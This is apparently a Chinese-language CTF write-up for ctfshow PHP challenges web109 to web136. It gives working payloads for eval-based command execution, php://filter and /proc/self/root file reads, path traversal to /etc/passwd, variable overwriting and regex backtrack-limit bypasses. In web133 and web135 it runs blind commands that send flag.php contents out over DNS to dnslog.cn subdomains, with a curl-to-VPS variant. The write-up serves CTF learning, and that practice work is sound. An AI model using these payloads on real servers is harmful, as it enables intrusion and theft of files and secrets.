Web入门_php特性_2
php特性
¶web109
- 描述: 换个姿势
if(isset($_GET['v1']) && isset($_GET['v2'])){ |
只检查了v1和v2是否存在以及是否包含了字母, 随后就是eval执行命令: 创建一个名为$v1
的类的实例并且调用名称为$v2
的方法
这里我们可以利用魔术方法__toString
和异常处理机制执行任意代码: 因为是echo new class
, 将类当成字符串输出; 很多PHP内置类(如Exception, CachingIterator, ReflectionClass)都实现了__toString
Exception, CachingIterator和ReflectionClass类的部分解释, 可以知道部分方法由
__toString
触发
所以payload:
?v1=Exception&v2=system('tac fl36dg.txt') |
¶web110
- 描述: 我报警了
if(isset($_GET['v1']) && isset($_GET['v2'])){ |
过滤基本剩下字母, 但是你说的对, 还是得用内置类: 利用FilesystemIterator获取指定目录下的所有文件(接受一个路径作为参数), 而获取当前路径的函数中, getcwd
不需要参数, getchwd
函数会返回当前工作目录
所以构造如下:
?v1=FilesystemIterator&v2=getcwd |
没有后续了, 可以直接访问的
¶web111
- 描述: 变量覆盖
function getFlag(&$v1,&$v2){ |
显然eval("$$v1 = &$$v2;");
会出现变量覆盖问题, 但是要求$v1
中包含字符串ctfshow才会调用, 所以只能构造$v2
因为我们并不知道flag在哪个变量里面, 所以直接调用超全局变量$GLOBALS
: $GLOBALS
是PHP的一个超级全局变量组, 包含了全部变量的全局组合数组, 变量的名字就是数组的键
所以payload:
?v1=ctfshow&v2=GLOBALS |
就算知道了, 可是flag是在flag.php中的, 对于
getFlag()
是外部变量, 还是不能直接赋值给$ctfshow
¶web112
- 描述: 函数绕过
function filter($file){ |
is_file
函数用于检查指定的文件是否是常规的文件, 如果是, 则返回TRUE; 而既要通过is_file
函数的检测, 还要通过highlight_file
得到flag, 那只有伪协议读取文件
过滤了一些过滤器, 那就不使用过滤器, payload:
?file=php://filter/resource=flag.php |
或者塞一些正则匹配之外的过滤器
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php |
官方还给了一种伪协议:
compress.zlib://flag.php |
他人博客解析
¶web113
- 描述: 函数绕过
function filter($file){ |
增加了过滤filter, 上一题给出了一种方法
compress.zlib://flag.php |
官方预期解为
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php |
其中/proc/self/root
是Linux系统中一个特殊的符号链接, 它始终指向当前进程的根目录; 由于目录溢出导致is_file无法正确解析, 认为这不是一个文件, 返回FALSE
¶web114
- 描述: 同上
function filter($file){ |
你怎么又回来了, 那就用伪协议吧
?file=php://filter/resource=flag.php |
¶web115
function filter($num){ |
str_replace(find,replace,string,count)
函数替换字符串中的一些字符, 区分大小写; 题中替换了一些常见的其他形式的数字
trim(string,charlist)
函数移除字符串两侧的空白字符或其他预定义字符, 因为第二个参数没有定义, 所以移除以下所有内容:
"\0" - NULL |
要求在经过过滤函数前传入的$num
不能是36, 经过过滤后要等于36
trim
函数并没有过滤换页符(%0c), 如果利用换页符构造, filter
函数也不会生效, 所以构造:
?num=%0c36 |
%0c在前面的原因是还需要绕过is_numeric
, 此函数可以在数字前面加上空格或者等效于空格(%09)的进行绕过
注意
!==
和===
都是强等于, 而有类似空格的在数字前面, 都不会强等于数字
后面的filter
是弱比较, 经过类型转换后变灰了36, 可以通过, 所以这就是payload了
¶web123
- 描述: 突破函数禁用
include("flag.php"); |
首先是经典的传入_
要用[
替代(传入的变量名如果包含空格, 加号, 左中括号会被转化为下划线): 网站默认会把点转换为下划线, 对不符合规则的变量只转换一次, 而CTF_SHOW.COM
里有两个不规则的字符, 所以需要写成CTF[SHOW.COM
$fl0g
是不能传参的, 所以利用只能是eval("$c".";");
, 使$c
等于echo $flag;
即可, 刚好小于18
payload如下:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag |
¶web125
- 描述: php特性
include("flag.php"); |
现在$fl0g
可控了, 但是是要求不能有$fl0g
; $c
长度限制变成了16且增加了新的过滤
既然POST走不通那就走GET, payload:
GET: ?1=flag.php |
¶web126
- 描述: 同上
include("flag.php"); |
新增的匹配导致输出函数和GET方法都不能使用了, 那考虑满足$fl0g
的条件利用变量覆盖获取flag
可能利用到的函数:
extract($array)
函数, 从数组中将变量导入到当前的符号表, 可以实现变量覆盖(但是有c, 被过滤了); parse_str($str)
函数, 将字符串解析成多个变量, 可用; assert()
执行php语句, 可用
那怎么传入 fl0g=flag_give_me, 只能是$a=$_SERVER['argv'];
$_SERVER['argv']
在Web模式下默认是不可用的, 主要用于处理命令行参数Web模式下如果要
$_SERVER['argv']
能接受GET的传参, 需要在php.ini中设置register_argc_argv=On
, 此时$_SERVER['argv'][0] = $_SERVER['QUERY_STRING'];
, 可以利用GET传入参数, 格式和命令行相同, 空格隔开参数
进行本地测试可以利用以下代码:
|
然后传入?a=b+c=d
, 查看输出是否是argv中有两个元素a=b, c=d
由此构建payload:
GET:?a=1+fl0g=flag_give_me |
或者用assert
甚至eval
GET:?$fl0g=flag_give_me |
¶web127
- 描述:
include("flag.php"); |
extract
函数从数组中将变量导入到当前的符号表, 就是如果传入的是?a=1, 就会变成程序中的$a=1
难绷官方警告:
因为对不符合规则的变量转换一次, 本来是不需要构造的, 特殊字符的检测需要我们用空格来代替下划线; payload如下:
?ctf show=ilove36d |
¶web128
- 描述: 骚操作
$f1 = $_GET['f1']; |
gettext
函数的官方解释和进阶配置, 可以了解到_()
是等价于gettext()
的, 很好的绕过了正则
get_defined_vars
函数, 返回由所有已定义变量所组成的数组
call_user_func
会利用_()
将get_defined_vars
返还出来(就是输出还是输入), 然后再有一个call_user_func来调用get_defined_vars函数,然后利用var_dump函数输出就可以得到flag; payload:
?f1=_&f2=get_defined_vars |
这里就没有用其他符号替代下划线的方法, 尝试替代之后发现payload失效
f2可以等于phpinfo, 可以得到详细信息
¶web129
- 描述: 常规操作
if(isset($_GET['f'])){ |
stripos
函数, 查找字符串首次出现的位置(不区分大小写), 如果没出现就返回FALSE
不知道在哪, 不知道读什么, 就去/etc/passwd
或者index.php
, 至于怎么绕过stripos
, 访问不存在的目录再回来不就好了
?f=../ctfshow/../../../etc/passwd |
那差不多就结束了, 现在只需要测试flag在哪里就可以了; payload:
?f=../ctfshow/../../../../var/www/html/flag.php |
¶web130
- 描述: very very very(省略25万个very)ctfshow
include("flag.php"); |
首先检查变量$f
中是否包含(不区分大小写, 且可以跨越多行), 以任意字符(但尽可能少)开头, 紧接着是ctfshow
这个字符串的文本, 例如/ctfshow
然后因为stripos
函数返回的是数字, 肯定不会强等于FALSE, 所以在任何位置出现特停字符串即可; 以上两个过滤都是形同虚设, payload如下:
POST: f=ctfshow |
看不懂的也可以直接利用正则最大回溯次数绕过(洞悉正则最大回溯/递归限制): PHP为了防止正则表达式的拒绝服务攻击(reDOS), 给 pcre设定了一个回溯次数上限pcre.backtrack_limit
; 回溯次数上限默认是100万, 如果回溯次数超过了100 万, preg_match
将不再返回1和0, 而是 false
import requests |
¶web131
- 描述: 同上
if(isset($_POST['f'])){ |
将传入的类型强制变成了字符串(所以说上一题用数组也可以绕过?), 这下不得不利用正则最大回溯绕过了, 里面参杂一个36Dctfshow即可, 脚本还是用上面那个
¶web132
- 描述: 为什么会这样?
打开来是一个网页, /robots.txt中找到后台登录界面/admin
include("flag.php"); |
运算优先级虽然&&
是大于||
, 但是只要$username=admin
, 整个判断式为真(或只要一边为真即为真)
所以只需要$username=$code=admin
即可, payload如下:
/admin/?username=admin&password=1&code=admin |
¶web133
- 描述: 同上
- 官方推荐: ctfshow web133和其他命令执行的骚操作
//flag.php |
限制为6个字符, 但是它没有对传入的变量$F
进行操作, 仅仅只是截取了前六个字符然后放进了eval
函数
所以可以尝试变量覆盖,刚好构造6个字符(自己覆盖自己也是覆盖):
?F=`$F`;%20 |
利用touch 1测试能否写入文件, 发现不可写入
本题似乎没有回显, 尝试ls也不能整出点啥来
不可写, 那么也不能将内容存储下来然后读取了, 那怎么办呢
先去网站获取一个域名, 比如 k700a2.dnslog.cn, 然后尝试执行命令将数据发到这个域名:
?F=`$F`;%20ping `cat flag.php`.k700a2.dnslog.cn -c 1 |
因为flag.php内容太多, 所以不会收到任何信息(二级域名是有长度限制的); 我们需要增加一些过滤器:
?F=`$F`; ping `cat flag.php | grep ctfshow | tr -cd '[a-z]'/'[0-9]'`.zfiu19.dnslog.cn -c 1 |
按理来说现在刷新数据将会得到不含特殊符号的flag, 我无论如何都无法得到内容, 所以我决定用公网vps
利用curl
命令将文件发送给vps
#其中-F 为带文件的形式发送post请求 |
诶你先别急, 我搞不出来, 到时候再说
¶web134
- 描述: 为什么会那样?
$key1 = 0; |
老熟人extract
函数, 从数组中将变量导入到当前的符号表, 常常用在变量覆盖
所以绕过最上方的判断再利用变量覆盖即可, payload如下:
?_POST[key1]=36d&_POST[key2]=36d |
GET我没试过?反正就是POST->GET
¶web135
- 描述: web133plus
其实就是web133wp中的另一种解法
//flag.php |
payload:
`$F`;+ping `cat flag.php|awk 'NR==2'`.6x1sys.dnslog.cn |
¶web136
- 描述: BY yu22x
|
exec是没有回显的, 我们尝试将执行结果输出到可读文件
?c=ls | tee 1 |
然后访问该地址(url/1)下载下来, 发现命令可执行, 文件中有当前目录的文件, 其余命令执行照搬即可; payload:
# 找到flag |